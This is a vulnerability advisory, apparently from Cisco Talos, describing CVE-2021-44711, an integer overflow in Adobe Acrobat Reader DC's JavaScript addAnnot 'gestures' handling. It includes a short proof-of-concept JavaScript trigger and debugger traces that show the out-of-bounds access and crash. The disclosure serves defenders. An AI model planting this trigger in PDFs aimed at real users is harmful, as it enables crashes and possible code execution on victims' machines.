CVE-2021-44711
An integer overflow vulnerability exists in the way Adobe Acrobat Reader DC 2021.007.20099 supports annotation interactions through JavaScript. A specially-crafted PDF document can trigger this vulnerability, which can lead to arbitrary code execution. A victim needs to open the malicious file to trigger this vulnerability.
Adobe Acrobat Reader 2021.007.20099
Acrobat Reader - https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-190 - Integer Overflow or Wraparound
Adobe Acrobat Reader is one of the most popular and feature-rich PDF readers on the market. It has a large user base and is usually a default PDF reader on systems. It also integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially-crafted email attachment can be enough to trigger this vulnerability.
Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface. Javascript allows manipulation of form fields, annotations and other page content in a PDF document.
There exists a vulnerability in the way Adobe Reader supports interactions with annotations through Javascript. More specifically, there exists a method to add an annotation to a page through Javascript which is usually called like so:
document.addAnnot({page:0, type: "Ink", point: [1,1,1,1],popupOpen : " ",gestures : arrayOfArrayOfCoordinates});
Gestures parameter in the above call is supposed to be an array of arrays of x and y coordinates that specify a path to be drawn. The vulnerability lies in the way a Javascript object passed as a gestures
value is being interpreted by annotations implementation inside Annots.api
.
Javascript objects can be interpreted as arrays, and there are various backing implementations for Javascript arrays (mixed types, sparse…). A bug when checking the size of a sparse array can lead to memory corruption. To demonstrate the bug, the following PoC code can be embedded inside a PDF document:
var obj = {}
obj[-1] = {};
app.activeDocs[0].addAnnot({page:0, type: "Ink", point: [2,1,6,3],popupOpen : " ",gestures : obj});
The above creates an object with an apparent element at index -1 which is later misinterpreted by annotations api. This can be seen in the debugger:
Breakpoint 2 hit
Time Travel Position: 1C0184D:22
eax=8d8d0ff8 ebx=94732ff8 ecx=69ed8726 edx=0000ffff esi=8ee28fb8 edi=69ed86c0
eip=8a820808 esp=0553e220 ebp=0553e22c iopl=0 nv up ei ng nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000282
Annots!PlugInMain+0x529d8:
8a820808 ff15e085cb8a call dword ptr [Annots!PlugInMain+0x4ea7b0 (8acb85e0)] ds:002b:8acb85e0={ucrtbase!atoi (774fc9e0)}
0:000> da poi(esp)
8d8d0ff8 "-1"
0:000> u
Annots!PlugInMain+0x529d8:
8a820808 ff15e085cb8a call dword ptr [Annots!PlugInMain+0x4ea7b0 (8acb85e0)]
8a82080e 59 pop ecx
8a82080f 5e pop esi
8a820810 c9 leave
8a820811 c3 ret
8a820812 a13074df8a mov eax,dword ptr [Annots!PlugInMain+0x629600 (8adf7430)]
8a820817 6803000040 push 40000003h
8a82081c 8b7004 mov esi,dword ptr [eax+4]
0:000> p
Time Travel Position: 1C0184D:D2
eax=ffffffff ebx=94732ff8 ecx=199998d0 edx=0000000a esi=8ee28fb8 edi=69ed86c0
eip=8a82080e esp=0553e220 ebp=0553e22c iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
Annots!PlugInMain+0x529de:
8a82080e 59 pop ecx
0:000> ?eax
Evaluate expression: -1 = ffffffff
At the above breakpoint, we can observe a call to atoi()
with “-1” as argument. Function atoi
returns a signed integer , 0xFFFFFFFF in this case. The code in question proceeds to test if the returned value is bigger than max value of 0x55555 , but not before adding 1 to the returned value:
Annots!PlugInMain+0x1520e:
8a7e303e 8d4101 lea eax,[ecx+1]
0:000> ?ecx
Evaluate expression: -1 = ffffffff
0:000> u
Annots!PlugInMain+0x1520e:
8a7e303e 8d4101 lea eax,[ecx+1]
8a7e3041 8bcf mov ecx,edi
8a7e3043 50 push eax
8a7e3044 e83ecc0300 call Annots!PlugInMain+0x51e57 (8a81fc87)
Adding 1 to 0xFFFFFFFF results in an integer overflow, and the effective value is 0. Length checks in Annots!PlugInMain+0x51e57
will therefore pass, and the original 0xFFFFFFFF value is used when trying to index into an array:
0:000> ?ecx
Evaluate expression: -1 = ffffffff
0:000> ?eax
Evaluate expression: 0 = 00000000
0:000> u
Annots!PlugInMain+0x15223:
8a7e3053 6bc930 imul ecx,ecx,30h
8a7e3056 83c618 add esi,18h
8a7e3059 56 push esi
8a7e305a 03c8 add ecx,eax
8a7e305c e83907ffff call Annots!PlugInMain+0x596a (8a7d379a)
Above, we can see the value in ecx
being multiplied by 0x30 and then added to pointer in eax
which is NULL in this case. The above listing ends with a call to function Annots!PlugInMain+0x596a
which uses the calculated offset as this
pointer. Since the initial pointer is NULL , and the index multiplied by 0x30 wraps around many times, an out of bounds memory access will be triggered inside Annots!PlugInMain+0x596a
which leads to a crash:
0:000> g
(e80.29f0): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 1C0184E:0
eax=638d526c ebx=ffffffd0 ecx=ffffffd0 edx=00000000 esi=00000000 edi=ffffffd0
eip=8a7d3a2d esp=0553e1d8 ebp=0553e200 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
Annots!PlugInMain+0x5bfd:
8a7d3a2d 833f01 cmp dword ptr [edi],1 ds:002b:ffffffd0=????????
The above crash constitutes a near-NULL pointer dereference. In the PoC Javascript code quoted above, the malformed object is empty for simplicity, but the attached PoC uses a different object to demonstrate memory corruption. With a specifically-crafted object, the out of bounds memory access can be influenced, which could lead to further memory corruption and ultimately arbitrary code execution.
2021-11-05 - Vendor Disclosure
2022-01-11 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.